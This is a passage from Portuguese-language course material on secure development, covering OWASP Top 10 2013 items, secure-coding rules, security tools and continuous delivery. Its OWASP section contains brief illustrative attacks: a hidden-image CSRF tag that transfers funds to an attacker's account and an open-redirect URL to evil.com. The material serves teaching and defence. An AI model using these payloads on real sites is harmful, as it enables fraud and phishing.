especiais, como criptografia, seja no armazenamento, em trânsito, ou quando

trafegados pelo navegador.




Um site que não usa SSL em todas as páginas autenticadas, possibilita que o atacante

roube o cookie de sessão do usuário ao monitorar o tráfego de rede (como uma rede wireless

aberta). O atacante então reproduz este cookie e sequestra a sessão do usuário, acessando

dados privados do mesmo.

6.7. A7: Falta de Controle para Função do Nível de Acesso (Missing Function Level Acess Control)


Essa vulnerabilidade decorre da falta de controles a partir do servidor,

permitindo a um possível atacante acessar funções não autorizadas. A maioria

das aplicações web verifica os direitos de acesso em nível de função antes de

tornar essa funcionalidade visível na interface do usuário.

No entanto, as aplicações precisam executar as mesmas verificações de

controle de acesso no servidor quando cada função é invocada. Se estas

requisições não forem novamente verificadas, os atacantes poderão forjar as

requisições.


As seguintes URLs dão acesso a área do site que exigem autenticação:

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

O atacante não tem login/senha autorizados, mas descobre qualquer usuário pode

acessar qualquer página, desde que tenha a URL de destino. Isso é uma falha.



6.8. A8: Cross-Site Request Forgery (CSRF)


Um ataque CSRF permite que um atacante gere petições sobre uma

aplicação que se tornou vulnerável a partir de uma sessão da vítima. Essa

vulnerabilidade força a vítima que possui uma sessão ativa em um navegador a

enviar uma falsa requisição HTTP, na qual inclui o cookie da sessão da vítima

e outras informações de autenticação incluídas na sessão, a uma aplicação

web vulnerável.

A falha possibilita que o atacante force o navegador da vítima a criar

requisições, que a aplicação vulnerável aceite como se fossem requisições

legítimas realizadas pela vítima.


A aplicação permite que um usuário submeta uma requisição de mudança de estado

que não inclui qualquer segredo. Por exemplo:

http://exemplo.com/app/transferirFundos?quantia=1500

&contaDestino=4673243243

Com isso, o atacante pode construir uma requisição que transfira dinheiro da conta da

vítima para a conta do atacante, e então incorpora este ataque em uma requisição armazenada

em uma imagem ou iframe em vários sites sob o controle do atacante:

<img src="http://exemplo.com/app/transferirFundos?

quantia=1500&contaDestino=contaAtacante#“

width="0" height="0" />



Nessa situação, se a vítima visitar qualquer um dos sites do atacante enquanto estiver

autenticado em exemplo.com, as requisições forjadas vão incluir automaticamente informações

de sessão do usuário, autorizando o pedido do atacante.

6.9. A9: Utilização de Componentes Vulneráveis Conhecidos (Using Known V ulnerable Components)


Representa a exploração de bibliotecas, frameworks e outros

componentes vulneráveis feita por um atacante para obter acesso ou combinar

com outros ataques.

Componentes como bibliotecas, frameworks, e outros módulos de

software costumam ser executados com privilégios elevados. Na

eventualidade de um componente vulnerável ser explorado, um ataque pode

resultar em sérias perdas de dados ou até no comprometimento do servidor.

Aplicações que utilizam componentes com vulnerabilidades conhecidas podem

minar as suas defesas e permitir ampla gama de ataques e impactos.


Vulnerabilidades de componentes podem causar praticamente qualquer tipo de risco

imaginável, variando do malware trivial ao sofisticado desenvolvido para atingir uma

organização específica. Componentes quase sempre executam com todos os privilégios de

uma aplicação, então falhas em qualquer componente podem ser sérias. Os dois seguintes

componentes vulneráveis foram baixados 22m de vezes em 2011, tornando vulnerável toda

aplicação que os utilize.

• Apache CXF Authentication Bypass – Ao não fornecer um token de



identidade, atacantes podem chamar qualquer serviço web com todas as

permissões. (Apache CXF é um framework de serviços, não deve ser

confundido com o Servidor de Aplicação Apache.)

• Spring Remote Code Execution – Abuso da implementação de Linguagem

Expression no Spring permitiu aos atacantes executarem código

arbitrário, efetivamente comprometendo o servidor.

6.10. A10: Redirecionamentos e Encaminhamentos Inválidos (Unvalidated Redirects and Forwards)


Esta vulnerabilidade consiste no uso, pelos atacantes, de

redirecionamentos de sites para redirecionar as vítimas a sites de phishing ou

que contém malware. Fazem o mesmo com o encaminhamento a sites não

confiáveis ou páginas não autorizadas.


A aplicação possui uma página chamada “redirect.jsp” que recebe apenas um

parâmetro “url”. O atacante cria uma URL maliciousa que redireciona os usuários para o site

malicioso, que executa phishing e instala malware.

http://www.example.com/redirect.jsp?url=evil.com.

Chegamos ao final deste Capítulo 6, no qual você teve a oportunidade

de saber um pouco mais da comunidade internacional Open Web Application



Security Project (OWASP); conheceu a proposta OWASP Top 10; identificou de

forma discriminada todas as vulnerabilidades do OWASP Top 10 2013.

Para concluir este capítulo, optamos por substituir o tópico Em Resumo pela ficha de referência constante da Figura 18, pois ela corresponde a resumo

obtido diretamente do website institucional da OWASP, onde também poderão

ser obtidos maiores detalhes sobre o OWASP Top10 2013.



Em RESUMO

Figura 19 - OWASP Top 10 2013. FONTE: https://www.owasp.org

7. Segurança por Código

O Capítulo 7 discorre sobre segurança por código, assunto que é

discriminado nos seguintes tópicos, que você conhecerá ao longo desta

unidade de aprendizagem:

práticas gerais de código seguro;



validação de entradas e codificação de saída;

autenticação e gerenciamento de senhas;

autorização e gerenciamento de acesso;

gerenciamento de sessão;

transmissão e armazenamento de informações sensíveis;

interação com banco de dados;

tratamento adequado de erros; e

logging.

Segurança por código diz respeito a técnicas para tratar vulnerabilidades

e aos cuidados que devem ser tomados no desenvolvimento de softwares. As

práticas que recomendamos nesta unidade de aprendizagem são indicações

SDL e, como você pode ver, correspondem às técnicas básicas orientadas pelo

OWASP Top 10 2013, que acabamos de estudar no Capítulo 6.

Conforme vimos, o ranking OWASP Top 10 nos orienta quanto à

proteção contra as mais importantes vulnerabilidades de segurança de

aplicações web. Com base nele, abordamos, a seguir, práticas para o emprego

da segurança por código aplicáveis tanto na aquisição de software, quanto no

desenvolvimento de sistemas de TI.

As recomendações podem ser utilizadas para orientar análise de

conformidade que comprove a implementação das técnicas de segurança por

código para sistemas em aquisição. Assim como para elaboração de requisitos

de processo de forma a garantir que as técnicas de segurança por código

sejam seguidas, em casos de desenvolvimento de software.

Por serem recomendações de práticas, os tópicos desta unidade de

aprendizagem são curtos, pontuais e objetivos.

7.1. Práticas Gerais de Código Seguro

Não se deve armazenar senhas em código-fonte.

Não se deve utilizar códigos da Internet sem conhecer e confiar a

fonte ou entender seu funcionamento.

Não se deve usar funções ou recursos obsoletos (deprecated).



Deve-se aplicar o conceito de validação positiva.

7.2. Validação de Entradas e Codificação de Saída

Todo ponto de interação de dados com o usuário do sistema (input)

deve ter sua validação feita na entrada do dado e na sua

apresentação (output).

Validações de segurança devem ser realizadas no servidor

(webserver) sempre.

No cliente (navegador), a validação pode ser feita quando convier.

Sempre que possível, deve-se adotar a validação positiva ou lista

branca (whitelist).

Sempre se deve pensar na possibilidade de bypass da validação.

7.3. Autenticação e Gerenciamento de Senhas

Deve-se utilizar sempre HTTP POST para a requisição de

autenticação.

Envio de credenciais deve utilizar HTTPS.

Deve-se pedir sempre uma nova autenticação em ações críticas.

Deve-se usar hash com salt para codificar as senhas a serem

armazenadas.

Deve-se usar um algoritmo de hash público e aprovado por instituto

de padronização de reconhecimento internacional, como o National

Institute of Standards and Technology (NIST) dos Estados Unidos,

por exemplo.

Deve-se implementar complexidade de senhas e não permitir

usuários ou senhas-padrão. Para tal, toda aplicação que exija login e

senha deve usar uma classe ou mecanismo validador de senhas

para garantir o cumprimento da política de senhas da organização.



Deve-se desabilitar as opções de configuração “lembrar minha

senha” e o “autocompletar” de navegadores.

Deve-se usar mensagens imprecisas para informar uma tentativa de

login inválida. Usar: “usuário ou senha inválidos”. Não usar: “usuário

inexistente” ou “senha incorreta”.

Deve-se planejar bem a lógica dos processos de “esqueci a minha

senha”.

7.4. Autorização e Gerenciamento de Acesso

A restrição de acesso para cada perfil a um conteúdo ou operação

específicos não deve ser feita apenas pela ocultação de um link ou

de uma opção em um menu.

Deve-se fazer uma validação de cada requisição, sempre no

servidor.

Deve-se garantir que arquivos e diretórios não possam ser

acessados diretamente.

Não se deve armazenar nenhuma informação que possa

comprometer o controle de acesso do lado do cliente.

Deve-se forçar um re-login sempre que o perfil de usuário for

alterado, desta forma um usuário não pode permanecer com o

acesso caso tenha sofrido um downgrade de perfil.

7.5. Gerenciamento de Sessão

O controle de sessão deve ser tratado pelo servidor, apenas a

persistência dele no cliente.

Deve-se implementar time-out de sessão e sempre gerar um novo ID

após a autenticação.

Não se deve passar ID de sessão por HTTP GET.



Deve-se implementar um token de sessão por requisição e com alta

aleatoriedade para evitar ataques de CSRF.

7.6. Transmissão e Armazenamento de Informações Sensíveis

Dados sensíveis devem ser transmitidos por canais HTTPS.

Não se deve armazenar senhas ou dados sensíveis em locais sem

criptografia.

Não se deve enviar informações sensíveis para logs.

Deve-se certificar que os comentários de código não contenham

informações que possam comprometer a segurança.

Deve-se garantir que a lógica do código do lado do cliente não crie

vulnerabilidades.

Campos hidden não devem armazenar dados sensíveis.

Deve-se estudar a adoção do cabeçalho HSTS (HTTP Strict

Transport Security).

Campos password podem ser revertidos do lado do cliente, portanto

não se deve apresentar dados sensíveis usando esse recurso.

7.7. Interação com Banco de Dados

Sempre que possível, deve-se adotar Stored Procedures ou

Prepared Statement.

Se não for possível usar Stored Procedures ou Prepared Statement,

deve-se validar todas as interações com o banco e nunca se deve

usar concatenação para montar qualquer consulta com o banco de

dados.

Deve-se desabilitar os recursos do banco que não serão utilizados.

Deve-se acessar o banco de dados com um usuário com privilégio

estritamente necessário para a realização das operações

necessárias.



Não se deve deixar o banco de dados ser acessado por outro canal

que não seja a aplicação.

7.8. Tratamento adequado de erros

Deve-se usar uma estrutura de tratamento de erros em qualquer

método em que um erro possa ocorrer.

O Java não encerra as conexões de banco de dados, arquivos etc.

quando erros ocorrem. Nesse caso, deve-se usar, portanto, o bloco

finally para realizar as ações de limpeza necessárias.

7.9. Logging

O logging deve fazer parte da concepção do sistema, deve estar

claro o que se pretende com os logs da aplicação.

Deve-se implementar um bom sistema de logging, de tal forma a

viabilizar auditorias e investigações de fraudes e casos de abuso.

Com esse tópico, concluímos o Capítulo 7, ao longo do qual você teve a

oportunidade de conhecer as práticas gerais de código seguro; validação de

entradas e codificação de saída; autenticação e gerenciamento de senhas;

autorização e gerenciamento de acesso; gerenciamento de sessão;


de dados; tratamento adequado de erros; e logging. Considerando a

característica diferenciada do conteúdo desta unidade de aprendizagem,

concluiu-se que ela não comporta um tópico Em RESUMO.

8. Suporte na Revisão e Desenvolvimento

Ao tratar do suporte na revisão e no desenvolvimento, o Capítulo 8

aborda os seguintes tópicos que você aprenderá ao longo da presente unidade

de aprendizagem:

ferramentas de suporte a análise; e



o recurso continuous delivery.

Acabamos de conhecer os processos de desenvolvimento de software

seguro; para modelagem de modelos de ameaças; de identificar

vulnerabilidades, além das práticas gerais de código seguro. Feito isso, fica

muito evidente que software seguro é aquele que satisfaz requisitos implícitos e

explícitos de segurança.

Além disso, percebemos que tais requisitos devem ser satisfeitos tanto

quando o software se mantém em condições normais de operação, quanto

quando se sujeita a situações decorrentes de atividade maliciosa.

Entendemos que não é suficiente passar a se preocupar com segurança

apenas a partir do momento em que o software vai entrar em produção. Não

adianta cumprir todas as fases do processo de desenvolvimento e deixar para

considerar a segurança depois de 'entregar' o software.

Como vimos, cada fase do ciclo de vida do software tem sua

contribuição para garantir a segurança do produto. Depois de implementado

em produção, ameaças devem ser controladas por processos de gestão de

vulnerabilidades, que envolvem prevenção e respostas a incidentes de

segurança.

Vulnerabilidades de codificação podem ser minimizadas pelo

treinamento de desenvolvedores em técnicas gerais de programação segura e

nas especificidades das linguagens que utilizam. Ferramentas automatizadas

podem ser utilizadas para testes duncionais de revisão de códigos, como a

máquina virtual Java, que evita o estouro de pilha ao verificar se um vetor está

dentro dos limites; ou como o uso das funçõoes strcpy() e strcmp() em C/C++,

por exemplo.

Entretanto, testes de segurança, na maioria das vezes, exigem um

raciocínio diferenciado, que requer do testador a habilidade de se colocar na

posição de usuários maliciosos que tentam encontrar 'brechas' capazes de

comprometer o aplicativo. Daí porque devem ser feitos por profissionais

especializados em segurança e envolver adequado instrumental de suporte à

análise.



8.1. Ferramentas de Suporte a Análise

Neste tópico, embora haja outras que possam ser elencadas, serão

destacados duas categorias principais de ferramentas de suporte à análise e à

decisão, quanto a segurança de TI, não só no desenvolvimento:

os trabalhos mais relevantes da OWASP e

as ferramentas de segurança disponibilizadas pelo TechCenter de

Segurança da Microsoft, aqui apresentadas indistintamente, uma

vez que o desenvolvimento e a funcionalidade de um software

pode ser afetado por falhas ambientais de segurança.

Trabalhos mais relevantes da OWASP.

Quando apresentamos o ranking OWASP Top10, trouxemos à tona uma

das mais importantes ferramentas de suporte à análise de segurança de

software.

A Open Web Application Security Project tem como propósito principal

divulgar aspectos de segurança nas aplicações web, contribuindo para a

construção de uma rede internacional de avaliação de riscos por pessoas e

organizações.

Sendo assim, quando se fala em análise de segurança, as contribuições

da OWASP merecem destaque, por estarem presentes nos cinco continentes,

de forma aberta, gratuita, e receptiva à contribuição de quaisquer interessados.

Segue uma relação dos trabalhos mais relevantes da OWASP.

OWASP Top10 (Top Ten) - como já vimos, é uma lista, internacionalmente

adotada, das dez vulnerabilidades mais críticas presentes em aplicações

web.

Guia de desenvolvimento - descreve as melhores práticas de segurança

para o projeto, desenvolvimento e implantação de sistemas e serviços web

e inclui diversos exemplos práticos de códigos em J2EE, ASP.NET e PHP.

Guia de revisão de código – livro que ilustra como encontrar

vulnerabilidades em aplicações web, por meio da inspeção do código fonte.

Possui exemplos em diversas linguagens, como Java, C, C++ e ASP.



Guia de testes – fornece metodologia e procedimentos detalhados para a

realização de testes de invasão em aplicações web, cobrindo as principais

vulnerabilidades conhecidas. Apresenta testes caixa-preta e, também,

caixa-cinza.

ATENÇÃO!

Teste caixa-cinza: o avaliador conhece os algoritmos, faz consulta SQL, tem acesso a operações internas, manipula arquivos de entrada e saída XML, etc. Avalia saídas (externas) e os processos internos usados para ocasioná-las. Se o programa der erro durante o teste, o avaliador poderá encontrar a causa do problema na parte interna.

Teste caixa-preta: o avaliador não tem acesso ao código-fonte do programa, avaliando somente a parte funcional, ou externa, dele. Verifica como o usuário final responderia à interface de um programa, possíveis equívocos que ele cometeria e como o sistema reagiria.Saiba mais em: <http://testesdesoftware.com/>

WebScarab – ferramenta em Java, feita para ser utilizada em testes de

segurança de aplicações web. Atua como um proxy entre o navegador e o

servidor web, permitindo interceptar requisições e respostas e alterá-las.

Em outras opções, permitem automatizar testes de injeção, analisar a

aleatoriedade de identificadores de sessão e repetir requisições do

histórico.

WebGoat – aplicação web deliberadamente insegur, criada com o objetivo

de ensinar os conceitos de segurança web e orientar quanto a testes de

invasão.

Ferramentas do TechCenter de Segurança da Microsoft.

A seguir, transcrevemos a relação de ferramentas do TechCenter de

Segurança da Microsoft, na sequência de seu agrupamento no website

corporativo.

Microsoft Baseline Security Analyzer - usado para aprimorar o

processo de gerenciamento da segurança, detectando erros comuns

de configuração e de atualizações de segurança.

Microsoft Security Assessment Tool - destina-se a avaliar pontos

fracos do ambiente de segurança de TI. Retorna uma lista de

problemas classificados por prioridade, com orientação específica

para minimizar riscos de segurança.


https://technet.microsoft.com/pt-br/security/cc185712



Gerenciamento de atualização de segurança Atualização Microsoft - O Microsoft Update consolida atualizações

fornecidas pelo Windows Update e pelo Office Update, viabilizando a

configuração pra entrega e instalação automáticas de atualizações de

alta prioridade.

Windows Server Update Services (WSUS) - O WSUS facilita a

atualização de sistemas baseados no Windows com as atualizações

mais recentes e com o mínimo de intervenção administrativa.

System Center Configuration Manager - Permite a implantação de

aplicativos e sistemas operacionais e o gerenciamento da configuração,

aprimorando a segurança do sistema e do gerenciamento de ativos de

servidores, desktops e dispositivos móveis.

Inventory Tool for Microsoft Updates do Systems Management Server

2003 - Integra o Systems Management Server com a Inventory Tool for

Microsoft Updates (ITMU) para determinar a conformidade de

atualização de sistemas gerenciados.

Detecção de atualização de segurança Microsoft Baseline Security Analyzer (MBSA) - O MBSA procura

atualizações de segurança ausentes e configurações incorretas

comuns de segurança.

Conector do Microsoft Office Visio 2007 para Microsoft Baseline

Security Analyzer - Permite ver os resultados de uma verificação do

MBSA em um diagrama de rede claro e abrangente do Microsoft Office

Visio 2007.

Avaliação de segurança Kit de Ferramentas Microsoft Assessment and Planning (MAP) para

avaliação de segurança no PC - Este kit de ferramentas gratuito avalia

todo o ambiente de TI em busca de vulnerabilidades de desktops e

laptops a vírus e malware para determinar se os seus PCs estão

prontos para o Forefront Client Security.


https://technet.microsoft.com/solutionaccelerators/dd627343.aspx?sa_ce=sql-map-web-technet-2009-10-12

https://technet.microsoft.com/solutionaccelerators/dd627343.aspx?sa_ce=sql-map-web-technet-2009-10-12




https://technet.microsoft.com/systemcenter/bb676783.aspx

https://technet.microsoft.com/systemcenter/bb676783.aspx

https://technet.microsoft.com/systemcenter/cm/default.aspx

https://technet.microsoft.com/wsus/default.aspx

http://go.microsoft.com/?linkid=3646732


Microsoft Security Assessment Tool (MSAT) - O MSAT traz

informações e recomendações de melhoria para a segurança na

infraestrutura de TI.

Bloqueio, auditoria e detecção e atualização de invasão - Ferramentas de gerenciamento e bloqueio de conta - ajudam a

gerenciar contas e a solucionar problemas de bloqueios de contas.

Visualizador de senhas de recuperação do Active Directory BitLocker -

Ajuda a localizar senhas de recuperação de Criptografia de Unidade de

Disco BitLocker para computadores baseados no Windows Vista ou no

Windows Server 2008 em Serviços de Domínio do Active Directory.

Ferramenta de preparação de unidade BitLocker - Configura as

unidades de disco rígido para dar suporte ao BitLocker.

Ferramenta de reparo Bitlocker - Pode ajudar a recuperar dados de um

volume de disco corrompido ou danificado que foi criptografado com o

BitLocker.

Verificador de integridade de soma de verificação de arquivo -

Ferramenta de linha de comando que calcula e verifica valores de hash

criptográficos de arquivos MD5 ou SHA-1.

Ferramenta de bloqueio do IIS - Reduz a superfície de ataque de

versões anteriores dos Serviços de Informações da Internet (IIS) e

inclui URLScan, que proporciona várias camadas de proteção contra

invasores.

Gerador de relatórios de portas - Ferramenta executada como um

serviço em computadores que executam o Windows Server 2003, o

Windows XP ou o Windows 2000 e registra a atividade das portas TCP

e UDP.

Analisador do Gerador de relatórios de portas (PR-Parser) - Analisa os

logs gerados pelo serviço Gerador de Relatórios de Portas, com base

em recursos avançados de análise, aplicáveis à solução de problemas

de segurança.

PortQry - Utilitário de linha de comando, que ajuda a solucionar

problemas de conectividade TCP/IP no Windows Server 2003, no

Windows XP ou no Windows 2000.


http://support.microsoft.com/default.aspx?kbid=832919

http://support.microsoft.com/kb/884289

http://support.microsoft.com/?id=837243

https://www.microsoft.com/technet/security/tools/locktool.mspx

http://support.microsoft.com/default.aspx?scid=kb;en-us;841290

https://www.microsoft.com/downloads/details.aspx?FamilyID=4ffd0d16-a51b-48b1-9042-ae1fb2de40c6

https://www.microsoft.com/downloads/details.aspx?FamilyID=320b9aa9-47e8-44f9-b8d0-4d7d6a75add0

https://www.microsoft.com/downloads/details.aspx?FamilyID=2786fde9-5986-4ed6-8fe4-f88e2492a5bd

https://www.microsoft.com/downloads/details.aspx?FamilyId=7AF2E69C-91F3-4E63-8629-B999ADDE0B9E



PromQry - O Promqry e o PromqryUI permitem detectar sniffers

(farejadores) de rede em computadores que executam o Windows

Server 2003, o Windows XP e o Windows 2000.

SubInACL - Ferramenta de linha de comando, que permite obter

informações de segurança sobre arquivos, chaves do Registro e

serviços. Permite transferir essas informações de usuário a usuário, de

grupo a grupo local ou global e de domínio a domínio.

UrlScan Security Tool 3.0 - Ajuda a impedir que solicitações HTTP

potencialmente prejudiciais cheguem a servidores Web do IIS. Inclui

recursos que ajudam a proteger contra ataques de injeção SQL.

Windows SteadyState - Ajuda a manter computadores funcionando da

maneira desejada, sendo particularmente últil para gerenciar

computadores em laboratórios de informática, cybercafés, bibliotecas

ou redes domésticas e corporativas.

Remoção e proteção contra vírus e malware Ferramenta de remoção de software mal-intencionado - Ferramenta

atualizada no mínimo semanalmente, verifica e ajuda a remover a

infecção caso ela seja encontrada.

Windows Defender - Programa gratuito que ajuda a proteger os PCs de

pop-ups, desempenho lento e ameaças de segurança causadas por

spyware e outros softwares indesejados.

Microsoft Security Essentials - O Microsoft Security Essentials é um

download gratuito da Microsoft que oferece proteção em tempo real para o seu

PC doméstico contra vírus, spyware e outros softwares mal-intencionados.

8.2. Continuous Delivery

O que é 'continuous delivery'? Entrega contínua é uma forma, um

método de desenvolvimento de software que propõe que o software seja

construído de tal forma que ele possa ser liberado para produção a qualquer

momento.


https://www.microsoft.com/security_essentials/default.aspx

https://www.microsoft.com/windows/products/winfamily/defender/default.mspx

https://www.microsoft.com/security/malwareremove/default.mspx

https://www.microsoft.com/downloads/details.aspx?FamilyID=F829BB8B-C7A9-426B-A7A4-2B504A6238D2&displayLang=pt-br

http://learn.iis.net/page.aspx/473/using-urlscan

https://www.microsoft.com/downloads/details.aspx?FamilyID=e8ba3e56-d8fe-4a91-93cf-ed6985e3927b

http://support.microsoft.com/kb/892853


Entre os atributos mais frequentemente associados ao termo, podem ser

elencados os seguintes:

reduzir riscos;

aumentar a confiança;

ser tão necessário quanto o controle do código fonte;

capaz de alinhar o processo de desenvolvimento e a entrega;

conhecimento indispensável a desenvolvedores, programadores,

testadores, administradores de sistemas, DBAs e gerentes;

é forma de fazer negócios.

Entrega contínua, integração contínua, implantação contínua ou

contínuous delivery tem sido considerada como uma estratégia de produção de

software que prevê a integração contínua do processo de desenvolvimento de

software com a sua entrega.

Isso é possível? Os termos acima são realmente sinônimos? Como fazer

isso? Afinal, o problema da entrega de software tem sido um dos assuntos

mais recorrentes no cenário do desenvolvimento de aplicações.

A possibilidade de entrega contínua tem sido aceita como efetiva, mas

parece que é a moda que tem feito com que as pessoas substituam os termos

acima relacionados uns pelos outros, como se fossem sinônimos, quando

efetivamente não o são.

Integração contínua, continuous integration (CI) são processos que

representam a prática de integração e testes de um novo código ao código já

existente. Trata-se de um requisito, uma condição necessária para que o

processo de entrega contínua tenha condições de ocorrer corretamente.

Entrega contínua, por sua vez, é sinônimo de continuous delivery (DC) e

corresponde a um conjunto de práticas que tem por objetivo garantir que o

novo código possa ser imediatamente implantado no ambiente de produção.

A redução de custo e do risco na entrega das alterações de software

contabilizam-se entre os maiores benefícios do continuous delivery e seu

sucesso se suporta na garantia da seguinte proposta:

mais agilidade no desenvolvimento de recursos;

menos interrupções para o cliente; e

teste automatizado.



Você já deve ter ouvido falar em DevOps, que corresponde à contração

dos termos Desenvolvimento (de software) e Operações (de TI) e representa

um método de trabalho que busca exatamente tornar viável essa integração,

utilizando a comunicação e a cooperação entre desenvolvedores de software e

demais profissionais de TI.

Evidente que DevOps é impossível sem CICD, termo que se traduz na

junção de integração e entrega contínuas. Perceba, também, que não há como

garantir continuous delivery (CD), que é a entrega efetiva da alteração

incremental do software, sem continuous integration (CI), que é o teste

préviocapaz de garantir que a junção do novo código ao já existente ocorrerá

sem erros.

Levando em conta tudo o que vimos sobre o desenvolvimento seguro,

aqui neste módulo, e o que estudamos sobre perspectivas ágeis no Módulo 1,

PRINCE2®, fica relativamente fácil perceber que contínuous delivery deve

funcionar muito bem com abordagens ágeis.

Essas, por filosofia, trabalham de forma fragmentada, em pequenos

processos, que desenvolvem e entregam pequenas soluções que, juntas

constituem o todo. Além disso, a entrega contínua está no primeiro princípio do

Manifesto Ágil: “nossa maior prioridade é satisfazer o cliente através da entrega

contínua e adiantada de software com valor agregado.”

Dividindo o trabalho em pequenas iterações, grandes mudanças podem

ser conduzidas em pequenos passos, pequenas implantações, que são

gradualmente integradas à solução total, anteriormente existente e funcional.

Pequenas alterações de funcionalidades significam testes menores,

mais fáceis de serem implantados automaticamente. Teste automatizado evita

interrupções e permite que os resultados sejam rapidamente conhecidos e

informados. Teste e feedback contínuos favorecem o aumento da produtividade

de equipes e organizações.

Apresentada dessa maneira, CICD parece solução técnica e negocial

mágica, capaz de viabilizar que recursos recentes possam ser rapidamente

incorporados e disponibilizados para os clientes, representando excelente

ganhos negociais. Parece bom demais para ser verdade? Parece sim. Não

porque seja impossível de alcançar, mas porque não é tão fácil quanto possa

parecer à primeira vista.



Não há dúvidas quanto aos ganhos competitivos consequentes do

continuous delivery. Entretanto, na condução de processos CICD é

indispensável manter atenção voltada a possíveis falhas, capazes de

inviabilizar toda a solução.

É preciso resistir ao risco de entregar uma boa ideia aos usuários sem

cumprir o processo: construção => implantação => teste => liberação. Já

conhecemos o ciclo de vida do desenvolvimento de software seguro. Sabemos

que é impossível obter software confiável, rápido e de baixo risco. Queremos

garantir a entrega, sim, mas não podemos desprezar o ciclo de vida do

desenvolvimento.

Queremos desenvolver com segurança, sim, mas queremos entregar

também. Entregar continuamente. O que requer CICD. O que também significa

integração de testes automaticamente aos processos de desenvolvimento.

Ocorre que a maioria das aplicações atuai, independente de tamanho,

possui implantação complexa que envolve muitos partes móveis. Atualizações

manuais são complexas, atualizações automáticas difíceis de integrar. A

probabilidade de ocorrência de erro humano é grande em ambas as soluções.

Para garantir a entrega contínua, é preciso trabalhar no sentido de evitar

a ocorrência não só dos erros decorrentes das atualizações. É necessário,

também, conhecer e evitar os mais costumeiros antipadrões associados ao

insucesso na entrega de software.

Antipadrões que, de forma divertida, mas sem perder a seriedade, são

assim destacados por Humble e Farley (2011):

A produção de uma extensa e detalhada documentação que contém as

possíveis falhas do produto;

Conduzir e confiar em testes manuais para confirmar se o aplicativo está

em execução corretamente;

Frequentes convocações da equipe de desenvolvimento para alertar

quanto a possíveis falhas de lançamento;

Correções frequentes ao processo de liberação durante um release;

Diferentes configurações de ambientes e elementos relacionados

(servidores de aplicativos, pool de conexão, layouts, etc.);

Versões que levam mais de alguns minutos para serem executadas;



Saídas que têm resultados imprevisíveis, que muitas vezes têm de

ser revertidos ou geram problemas;

Passar a noite seguinte ao lançamente diante de um monitor, tentando

descobrir como fazer o software funcionar.

Humble e Farley (2011) ressaltam também que, além de evitar os

antipadrões, é preciso seguir os princípios da entrega contínua, que se alinham

com os do desenvolvimento ágil. É necessário garantir que, ao longo do tempo,

as implementações tendam a ser totalmente automatizadas, pois:

Implementações que não são totalmente automatizadas, resultam em

maiores erros na execução e maior dificuldade para identificação de

bugs.

Quando o processo de implantação não é automatizado, não é confiável,

levando ao desperdício de tempo na depuração de erros de

implantação.

Um processo de implantação manual tem de ser documentado; manter

o Documentação é uma tarefa complexa e demorada que envolve a

colaboração entre várias pessoas, o que acaba resultando em

documentação geralmente incompleta ou desatualizadas. Por outro

lado, um conjunto de scripts de implantação automatizados serve como

documentação, e será sempre atualizada e completa, ou a implantação

não funcionará.

As implantações automatizadas incentivam a colaboração, porque tudo

é explícito em um script. Diferentemente de outro tipo de documentação,

o script não tem de fazer suposições sobre o nível de conhecimento do

leitor.

Um corolário do acima: As implementações manuais dependem da

implantação especialista. Se ele ou ela está de férias ou sai de trabalho,

você está em apuros.

Realizar implantações manuais é chato, repetitivo e ainda requer certo

grau de especialização. Pedir a especialistas para fazer algo chato e

repetitivo é uma forma segura de garantir erro humano. Automatizar

implantações libera profissionais caros, altamente qualificados, e quase



sempre sobrecarregados para trabalharem em atividades de maior

valor.

Um processo de implantação manual é frequentemente demorado e

caro. Um processo de implantação automatizado é barato e fácil de

testar.

Antagonistas dizem que um processo manual é mais auditável do que

um automatizado. Acontece que, em um processo manual, não há

garantia de que a documentação seja. Somente um processo

automatizado é totalmente auditável. O que poderia ser mais auditável

do que um script de implementação de trabalho?

Finalmente, é possível afirmar que a entrega contínua pode e deve ser

uma busca contínua das organizações, pois representam significativo

diferencial competitivo, agregando valor ao negócio. Entretanto, para ser

efetiva, essa busca deve seguir princípios e evitar antipadrões.

Chegamos ao final do Capítulo 8, dedicado a tratar do suporte na

revisão e no desenvolvimento. Ao longo dele você conheceu as ferramentas de

suporte a análise; e o recurso continuous delivery.

Em RESUMO: Ferramentas de suporte à análise => Ver relação da OWASP e do TechCenter de

Segurança da Microsoft. Continuous delivery => forma de desenvolvimento na qual o software pode ser liberado

para produção a qualquer momento.

Integração contínua = continuous integration (CI) => integração e teste de um novo código ao código já existente.

Entrega contínua = continuous delivery (DC) => conjunto de práticas que tem por objetivo garantir que o novo código possa ser imediatamente implantado no ambiente de produção.

Continuous delivery => pressupõe mais agilidade no desenvolvimento de recursos; menos interrupções para o cliente; e teste automatizado.

DevOps => integração, comunicação e cooperação entre Desenvolvimento (de software) e Operações (de TI).

CICD => junção de integração contínua (CI) e entrega contínua (CD). Não existe DevOps sem CICD. Não existe CD sem CI. CD requer seguir princípios e evitar antipadrões.



9. Métricas de Acompanhamento

Como avaliar se o processo adotado por uma empresa para produzir

software é bom ou ruim? Este Capítulo 9 aborda métricas de acompanhamento

para o estabelecimento e para o acompanhamento do processo de

desenvolvimento seguro.

Métrica é um conjunto de medidas. Métricas são indicadores, referências

que nos permitem medir, quantificar, atributos relativos às entidades de

software e ao processo de desenvolvimento. Elas são importantes instrumentos

de avaliação da qualidade do código-fonte, aplicáveis tanto na produção quanto

no acompanhamento do projeto. A partir delas é possível propor a melhoria do

processo de desenvolvimento e gestão do software.

Mesmo sendo difícil medir, com precisão, a segurança de um software,

existem métricas voltadas a representar claramente essa segurança. Elas

variam da amplitude do treinamento dado à equipe de engenharia de

segurança (no início do ciclo de vida do desenvolvimento) até a taxa das

vulnerabilidades descobertas no produto lançado.

A Microsoft criou um conjunto de métricas de segurança que pode ser

utilizado pelas equipes de produto para monitorar o êxito da implementação do

SDL. Elas abrangem a implementação da equipe do SDL desde a modelagem

de ameaças; a revisão do código e os testes de segurança até a segurança do

software apresentado para a FSR.

É fundamental que todos os envolvidos no desenvolvimento do software

tenham conhecimento das vunerabilidades e meios de detectá-las; habilidades

de concepção de design para favorecer a segurança; conhecimentos quanto ao

uso de metas e indicadores em processo de apoio à segurança e qualidade;

desenvoltura para medição do código-fonte e seu uso para auxiliar as tomadas

de decisões; etc.

Ocorre que o uso de métricas não é uma tarefa fácil. Seja pela

complexidade de escolher a medição mais adequada; seja pelo

estabelecimento da rotina de coleta a ser utilizada; seja pela difícil

compreensão e interpretação do significado de valores obtidos; utilizar métricas

envolve fatores que acabam por desmotivar seu uso para o monitoramento do

código e do resultado de aplicativos.



